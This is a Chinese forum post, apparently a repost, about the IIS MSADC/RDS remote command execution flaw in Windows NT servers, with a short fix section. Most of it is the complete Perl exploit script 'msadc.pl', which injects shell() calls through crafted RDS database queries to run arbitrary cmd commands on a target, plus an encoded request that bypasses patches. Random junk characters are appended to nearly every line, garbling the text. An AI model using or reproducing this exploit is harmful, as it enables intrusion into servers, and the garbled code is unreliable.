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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) yT7$6x  
4#IT" i  
涉及程序: ng%[yY  
Microsoft NT server hZJ~zx~  
ray3gM%JLj  
描述: -#ZLu.  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 yNI0Do 2  
,6>3aD1w~q  
详细: P(shbi@  
如果你没有时间读详细内容的话,就删除: VVeJe"!t  
c:\Program Files\Common Files\System\Msadc\msadcs.dll uPfz'|,  
有关的安全问题就没有了。 TE Z%|5(]  
F vkyp"W3  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 wKM9fs  
=|?`5!A  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 P73GH  
关于利用ODBC远程漏洞的描述,请参看: qX@e+&4P0  
/PwiZ A3sA  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm %/A>'p,~  
16L YVvmW  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 O(-p md,  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp l e/j!  
-.h)CM@L  
这里不再论述。  vD#U+  
(=!At)O  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: {[!<yUJ`S#  
,`HweIq(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset t.( `$  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! n#">k%bD  
E;a,].  
T~E;@weR  
#将下面这段保存为txt文件,然后: "perl -x 文件名" z x-[@G  
j}uL  
#!perl I-R7+o  
# NW[K/`-CTH  
# MSADC/RDS 'usage' (aka exploit) script 0"R>:f}  
# DsMo_m/"1  
# by rain.forest.puppy H7+"BWc  
# _.JQ h   
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me L3%frIUd  
# beta test and find errors! {xZY4b2  
B/ 4M;G~  
use Socket; use Getopt::Std; ~0p8joOH  
getopts("e:vd:h:XR", \%args); `]5qIKopL  
$)#orZtzr  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Al^tM0T^  
A$@;Q5/2  
if (!defined $args{h} && !defined $args{R}) {  Fe!MA  
print qq~ 8$}<4 `39  
Usage: msadc.pl -h <host> { -d <delay> -X -v } NVM_.vL  
-h <host> = host you want to scan (ip or domain) % G= cKM  
-d <seconds> = delay between calls, default 1 second a/V,iCiH  
-X = dump Index Server path table, if available @7nZjrH  
-v = verbose Jinh#iar  
-e = external dictionary file for step 5 !{-W%=Kf  
V;: k-  
Or a -R will resume a command session .b";7}9{  
_mqU:?Q5  
~; exit;} bL7Gkbs&|  
Cu+p!hV  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; {]dxFhe)  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} :TTq   
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 1X)#iY  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); =p;cJ%#2]'  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} d_`MS@2  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } rnK]3Ust  
Wr[LC&  
if (!defined $args{R}){ $ret = &has_msadc; xQ"uC!Gu4  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} q1VKoKb6\:  
A;d@NOI#,K  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" |qX ?F`  
. "cmd /c "; a[K&;)  
$in=<STDIN>; chomp $in; L/u|90) L  
$command="cmd /c " . $in ; +ay C 0  
Ir JSU_  
if (defined $args{R}) {&load; exit;} >>{):r Z  
J2Dn  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; @(#vg\UH  
&try_btcustmr; U,U=udsi  
*O$|,EsY  
print "\nStep 2: Trying to make our own DSN..."; A"7YkOfwH  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WR #XPbk  
lR %#R  
print "\nStep 3: Trying known DSNs..."; &4OJJ9S  
&known_dsn; =aVvv+T  
7]rIq\bM  
print "\nStep 4: Trying known .mdbs..."; nFlN{_/  
&known_mdb; p7YYAh@x\  
k1z`92"  
if (defined $args{e}){ @K]`!=vUk  
print "\nStep 5: Trying dictionary of DSN names..."; EGD{nE  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } @{@b^tk  
v\w*VCjoV  
print "Sorry Charley...maybe next time?\n"; xdO3koE:  
exit; 7g*!6-W[  
q?LOtN? o  
############################################################################## *<^C0:i(  
b]u=I za  
sub sendraw { # ripped and modded from whisker r%;|gIky  
sleep($delay); # it's a DoS on the server! At least on mine... Y7S1^'E 3  
my ($pstr)=@_; dz@+ jEV  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || nq_$!aB_K  
die("Socket problems\n"); 9fX0?POG  
if(connect(S,pack "SnA4x8",2,80,$target)){ 5mAb9F8@  
select(S); $|=1; +k6` tl~*  
print $pstr; my @in=<S>;  C O6}D  
select(STDOUT); close(S); 4S42h_9  
return @in; $'\kK,=  
} else { die("Can't connect...\n"); }}  GAfc9  
P.Tnq  
############################################################################## e;vI XJE  
]pm/5|  
sub make_header { # make the HTTP request uYebRCdR  
my $msadc=<<EOT boiP_*|MY  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 4(htdn6\  
User-Agent: ACTIVEDATA T}!9T!(HdF  
Host: $ip qq!ZYWy2  
Content-Length: $clen  wp~}1]g  
Connection: Keep-Alive 4Y?fbb<  
&~eCDlX /  
ADCClientVersion:01.06 7NJl+*u  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 d>Tv?'o`q  
<7y/)b@  
--!ADM!ROX!YOUR!WORLD! o+x%q<e;c  
Content-Type: application/x-varg pS8\B  
Content-Length: $reqlen ]n4PM=hz  
;C-ds  
EOT }h1BAKg  
; $msadc=~s/\n/\r\n/g; {eU>E /SQ  
return $msadc;} !Mw/j`*  
(g;O,`|c,  
############################################################################## `n6cpX5  
Y9mhDznS  
sub make_req { # make the RDS request Gw) y<h  
my ($switch, $p1, $p2)=@_; PZ/ tkw  
my $req=""; my $t1, $t2, $query, $dsn; ~xG/yPl  
V(cU/Aia^  
if ($switch==1){ # this is the btcustmr.mdb query i3 XtrP""  
$query="Select * from Customers where City=" . make_shell(); 0-PT%R  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . q2#Ebw %]  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} %rB,Gl:)g  
JA{kifu0+  
elsif ($switch==2){ # this is general make table query 1!1,{\9%  
$query="create table AZZ (B int, C varchar(10))"; 8@vq.z}  
$dsn="$p1";} :#vA5kC  
1o5kP,)  
elsif ($switch==3){ # this is general exploit table query < R"Y^]P=  
$query="select * from AZZ where C=" . make_shell(); PoZ$3V$(Lz  
$dsn="$p1";} fKEDe>B5  
%(s|  
elsif ($switch==4){ # attempt to hork file info from index server =X(N+(1~  
$query="select path from scope()"; 'sAkrl8kt  
$dsn="Provider=MSIDXS;";} yuC"V'  
`/1rZ#  
elsif ($switch==5){ # bad query Q:) 4  
$query="select"; nGGw(6c%>  
$dsn="$p1";} VP< zOk7  
6MOwn*%5k  
$t1= make_unicode($query); 2L^/\!V#  
$t2= make_unicode($dsn); e3n^$'/\r  
$req = "\x02\x00\x03\x00"; &LM@xt4"^[  
$req.= "\x08\x00" . pack ("S1", length($t1)); VXCB.C"  
$req.= "\x00\x00" . $t1 ; 53/$8=  
$req.= "\x08\x00" . pack ("S1", length($t2)); ZWGelZP~  
$req.= "\x00\x00" . $t2 ; b w1s?_P  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; {31X  
return $req;} eAO@B  
G>^= Bm_$  
############################################################################## q h bagw~  
.\H-?6R^  
sub make_shell { # this makes the shell() statement 5[\g87 \  
return "'|shell(\"$command\")|'";} bLl ?!G.  
/E/6(c  
############################################################################## 6&+dpr&c~=  
^Zs ^  
sub make_unicode { # quick little function to convert to unicode 0F uj-q  
my ($in)=@_; my $out; dw#pObH|`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } HziQ%QR  
return $out;} B_#M)d O  
`!N.1RP _  
############################################################################## Wv5=$y  
>mQD/U  
sub rdo_success { # checks for RDO return success (this is kludge) a%y*e+oM  
my (@in) = @_; my $base=content_start(@in); NjS<DzKhK  
if($in[$base]=~/multipart\/mixed/){ {<IHiB35q  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} K4Ed]hX  
return 0;} )cgNf]oy  
e]1) _;b*  
############################################################################## Dg^s$2  
+ d>2'  
sub make_dsn { # this makes a DSN for us J%Y-3{TQK  
my @drives=("c","d","e","f"); wR 2`*.O  
print "\nMaking DSN: "; Nba1!5:M  
foreach $drive (@drives) { LB7$&.m'B  
print "$drive: "; &%3}'&EBv  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . T#E,^|WEk  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" Ku6ndc  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); cl23y}J_?  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c(Xm~ 'jeH  
return 0 if $2 eq "404"; # not found/doesn't exist .4 NcaMj  
if($2 eq "200") { PtPx(R3  
foreach $line (@results) { xxGQXW  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} E0i!|H  
} return 0;} EP4?+"Z  
g:^Hex?Yfd  
############################################################################## &iuMB0rbu  
Yk{4 3yw  
sub verify_exists { c~M'O26bW  
my ($page)=@_; r"L:Mu  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 1"A"AMZf  
return $results[0];} T*k{^=6"!  
s Wj:m)  
############################################################################## DbI)tDi5D  
"@+Z1k-8U  
sub try_btcustmr { CC6]AM(i  
my @drives=("c","d","e","f"); 3kr. 'O  
my @dirs=("winnt","winnt35","winnt351","win","windows"); UM1h[#?&V)  
/.mx\_$   
foreach $dir (@dirs) { | v>W  
print "$dir -> "; # fun status so you can see progress N#OO{`":Z`  
foreach $drive (@drives) { $W;r S7b  
print "$drive: "; # ditto 2e,cE6r  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; /xg1i1Et  
$reqlenlen=length( "$reqlen" ); &4t=Y`]SL  
$clen= 206 + $reqlenlen + $reqlen; }P!:0w3  
2zsDb'r  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); $*fEgU% c  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} TD;u"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} OS~Z@'Eg  
BMzS3;1_  
############################################################################## d^Cv9%X  
8N<2RT8W  
sub odbc_error { .4z_ohe  
my (@in)=@_; my $base; ^6UE/4x!y  
my $base = content_start(@in); pmUC4=&e  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ],<pZ1V;  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {- &wV  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; % y` tDR  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 74A&#ecb{  
return $in[$base+4].$in[$base+5].$in[$base+6];} ~!fOl)F  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; skLr6Cs|  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . WD8F]+2O\  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} R,hwn2@B  
gfXit$s  
############################################################################## FYaBP;@J%  
KjV1->r#  
sub verbose { +nFC&~q  
my ($in)=@_; fQfd1=4  
return if !$verbose; 5'rP-z~ u  
print STDOUT "\n$in\n";} P1qnU  
p1s& y0:d  
############################################################################## od/Q"5t[p  
mnYzn[d3U  
sub save { c=B!\J<1  
my ($p1, $p2, $p3, $p4)=@_; }1Hy[4B(k\  
open(OUT, ">rds.save") || print "Problem saving parameters...\n";  ~Ctq  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; {tXyz[;i1}  
close OUT;} F{17K$y  
X5)].[d  
############################################################################## yEL5U{  
@vi;P ^1!  
sub load { t] G hONN  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; bmRp)CYd  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); XJ1<!tl  
@p=<IN>; close(IN); Vg`32nRN  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); yD^Q&1  
$target= inet_aton($ip) || die("inet_aton problems"); c_6~zb?k+m  
print "Resuming to $ip ..."; QlnI&o  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; $=!_ !tr  
if($p[1]==1) { OLJ|gunA#  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; H1ox>sC  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; UDgUbi^v|D  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); %c&< {D}r  
if (rdo_success(@results)){print "Success!\n";} 'oM&Ar$  
else { print "failed\n"; verbose(odbc_error(@results));}} )K 0rPnYV  
elsif ($p[1]==3){ 8{%[|Ye  
if(run_query("$p[3]")){ ?h-:,icR  
print "Success!\n";} else { print "failed\n"; }} $2v{4WP7G  
elsif ($p[1]==4){ Y7@$#/1  
if(run_query($drvst . "$p[3]")){ fXx !_Z  
print "Success!\n"; } else { print "failed\n"; }} 2$> <rB  
exit;} tb'O:/  
Z-'xJq  
############################################################################## "&TN}SBW  
wn>?r ?KIB  
sub create_table { {dNWQE*\c  
my ($in)=@_; )WF*fcx{  
$reqlen=length( make_req(2,$in,"") ) - 28; KZsJ_t++!W  
$reqlenlen=length( "$reqlen" ); Ei\tn`I&  
$clen= 206 + $reqlenlen + $reqlen; ?wj1t!83  
my @results=sendraw(make_header() . make_req(2,$in,"")); L%[b6<  
return 1 if rdo_success(@results); &_<!zJ;Hn  
my $temp= odbc_error(@results); verbose($temp); ^14a[ta/'  
return 1 if $temp=~/Table 'AZZ' already exists/; Z'\{hL S  
return 0;} `< cn  
iFB {a?BE  
############################################################################## iy,jq5uw  
v?#W/].C+  
sub known_dsn { tq8rG@-C  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2)R*d  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 0bI} s`sr  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", y[~w2a&+  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); l%xjCuuhU  
gY!#=?/S  
foreach $dSn (@dsns) { d7!,  
print "."; #s]`jdc  
next if (!is_access("DSN=$dSn")); H.s:a#l?  
if(create_table("DSN=$dSn")){ W"H*Ad(V  
print "$dSn successful\n"; ,mvU`>Ry  
if(run_query("DSN=$dSn")){ LLW\1 cxi  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { N:e5=;6s  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 5| bc*iqU  
Q$=X ?{  
############################################################################## H1kxY]_/  
Z/[ww8b.  
sub is_access { ~g|z7o  
my ($in)=@_; \~@a/J  
$reqlen=length( make_req(5,$in,"") ) - 28; De:| T8&  
$reqlenlen=length( "$reqlen" ); HF]|>1WV[  
$clen= 206 + $reqlenlen + $reqlen; q5ja \  
my @results=sendraw(make_header() . make_req(5,$in,"")); QMWDII&t  
my $temp= odbc_error(@results); 4A~1Z,"%v(  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); DH{^9HK  
return 0;} A\};^Y  
. KzU7  
############################################################################## |$.`4h?  
tFYo d#  
sub run_query { Kv>P+I'|r  
my ($in)=@_; @vkO(o  
$reqlen=length( make_req(3,$in,"") ) - 28; =S}SZYw l  
$reqlenlen=length( "$reqlen" ); `l`)Cs;a  
$clen= 206 + $reqlenlen + $reqlen; Ld:U~M-  
my @results=sendraw(make_header() . make_req(3,$in,"")); Ny)N  
return 1 if rdo_success(@results); nkTu/)or  
my $temp= odbc_error(@results); verbose($temp); &! MV!9$  
return 0;} dhmZ3~cW>  
5AO' IhpL  
############################################################################## n0%]dKCB  
DmpG35Jk  
sub known_mdb { hy{1Ea/T  
my @drives=("c","d","e","f","g"); 7!%xJ!  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X) xeq  
my $dir, $drive, $mdb; 4n, >EA85  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; q, XRb  
;-!j,V+$h  
# this is sparse, because I don't know of many I<^&~==  
my @sysmdbs=( "\\catroot\\icatalog.mdb", %cFqD &6  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", O7D61~G]  
"\\system32\\certmdb.mdb", ntt:>j$  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% gj-MkeI)  
Dt\rMSjZ9  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", GYK&QYi,  
"\\cfusion\\cfapps\\forums\\forums_.mdb", !JWZ}u M6  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", UbSAyf  
"\\cfusion\\cfapps\\security\\realm_.mdb", Ym5ji$!2  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", cfA)Ui  
"\\cfusion\\database\\cfexamples.mdb", 0L|D1_k[  
"\\cfusion\\database\\cfsnippets.mdb", QFX )Nov];  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", /#xx,?~xx0  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", S"G`j!m1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", s\A4y "  
"\\cfusion\\database\\smpolicy.mdb", |?/,ED+|>D  
"\\cfusion\\database\cypress.mdb", brt1Kvu8(  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", TuX9:Q  
"\\website\\cgi-win\\dbsample.mdb", EHqcQx`K_  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", E-J<%+  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"  pu?D^h9/  
); #these are just nN$aZSb`  
foreach $drive (@drives) { - TU^*  
foreach $dir (@dirs){ ]3bXJE  
foreach $mdb (@sysmdbs) { W$ag |WV  
print "."; &R;Cm]jt  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ K \_JG $(9  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; xY94v  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ OX[pK_:`l  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $~FnBD%|{  
} else { print "Something's borked. Use verbose next time\n"; }}}}} "-a CF  
C)xM>M_CB  
foreach $drive (@drives) { [/IN820t  
foreach $mdb (@mdbs) { yEB1gYJB  
print "."; + tza]r:  
if(create_table($drv . $drive . $dir . $mdb)){ }SZU'lYHoM  
print "\n" . $drive . $dir . $mdb . " successful\n"; c6_i~0W56  
if(run_query($drv . $drive . $dir . $mdb)){ IFfB3{J  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; U+wfq%Fz  
} else { print "Something's borked. Use verbose next time\n"; }}}} $F/Uk;*d!  
} yTwtGo&  
$Y9Wzv3Ra  
############################################################################## A-om?$7  
+Ssu^ >D  
sub hork_idx { tEE4"OAy  
print "\nAttempting to dump Index Server tables...\n"; G~N$bF^R)  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; *N!>c&8  
$reqlen=length( make_req(4,"","") ) - 28; ?3|jB?:k  
$reqlenlen=length( "$reqlen" ); * j]"I=D  
$clen= 206 + $reqlenlen + $reqlen; 2GC{+*  
my @results=sendraw2(make_header() . make_req(4,"","")); 9qXKHro  
if (rdo_success(@results)){ }Z Nyd  
my $max=@results; my $c; my %d; ]p5]n*0X  
for($c=19; $c<$max; $c++){ h1+lVAQbT  
$results[$c]=~s/\x00//g; E[kf%\  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; (Y>|P  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; pRrokYM d  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; wseb]=U  
$d{"$1$2"}="";} k1HVvMD<  
foreach $c (keys %d){ print "$c\n"; } =LHz[dSL  
} else {print "Index server doesn't seem to be installed.\n"; }} _,{R3k  
u#r[JF9LP  
############################################################################## PG*:3![2  
I' TprT  
sub dsn_dict { asd3J  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Xah-*]ET  
while(<IN>){ H". [&VP5Z  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; gUtxyW  
next if (!is_access("DSN=$dSn")); `@)>5gW&p  
if(create_table("DSN=$dSn")){ 9~ JeI/  
print "$dSn successful\n"; I@jXW>$  
if(run_query("DSN=$dSn")){ ,wPvv(b]a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ZtPnHs.x  
print "Something's borked. Use verbose next time\n";}}} uk=f /nT  
print "\n"; close(IN);} \6WVs>z  
g r[M-U  
############################################################################## ;2%8tV$V  
3:~ *cU  
sub sendraw2 { # ripped and modded from whisker %=EN 3>,  
sleep($delay); # it's a DoS on the server! At least on mine... kK&M>)&o#  
my ($pstr)=@_; "-afHXED  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || (HD8Mm  
die("Socket problems\n"); uXkc07 r'  
if(connect(S,pack "SnA4x8",2,80,$target)){ F\IJim-Rh  
print "Connected. Getting data"; hF;TX.Y6  
open(OUT,">raw.out"); my @in; 49d02AU%  
select(S); $|=1; print $pstr; Tw0GG8(c  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} U1;<NUg  
close(OUT); select(STDOUT); close(S); return @in; 5vo5t0^o  
} else { die("Can't connect...\n"); }} 7x5wT ?2W  
U+2U#v=<  
############################################################################## tTcff9ee  
n1J;)VyR  
sub content_start { # this will take in the server headers }$E341@  
my (@in)=@_; my $c; _KZ&/  
for ($c=1;$c<500;$c++) { wJ Qm7n-+  
if($in[$c] =~/^\x0d\x0a/){ h5^qo ^;g7  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } FBGe s[,  
else { return $c+1; }}} k=M_2T'  
return -1;} # it should never get here actually !)-)*T  
g;mX{p_@  
############################################################################## A8oTcX_  
o<Y[GW1pg  
sub funky { :HW\awv  
my (@in)=@_; my $error=odbc_error(@in); ])tUXU>  
if($error=~/ADO could not find the specified provider/){ }{y(&Oy3Y  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 7*I:cga  
exit;} )p!.V( ,  
if($error=~/A Handler is required/){ =Owr l'@|T  
print "\nServer has custom handler filters (they most likely are patched)\n"; v-ZTl4j$  
exit;} -J' 0qN!  
if($error=~/specified Handler has denied Access/){ poU1Q#+4p*  
print "\nServer has custom handler filters (they most likely are patched)\n"; V''?kVJ  
exit;}} DqN<bu2  
" .<>(bE  
############################################################################## s=[T,:Z  
^sqTgrG  
sub has_msadc { u}Q cyG^  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); U"L 7G$  
my $base=content_start(@results); MR3\7D+9y  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); Y6:b  
return 0;} \qZ>WCp>r  
J{qsCJiB  
######################## T:!f_mu|  
Sk7sxy<F'  
 e gdbv  
解决方案: *VV#o/Q p  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Ouos f1  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 /hp [ +K  
x +]ek  
拿出来充数 哈哈
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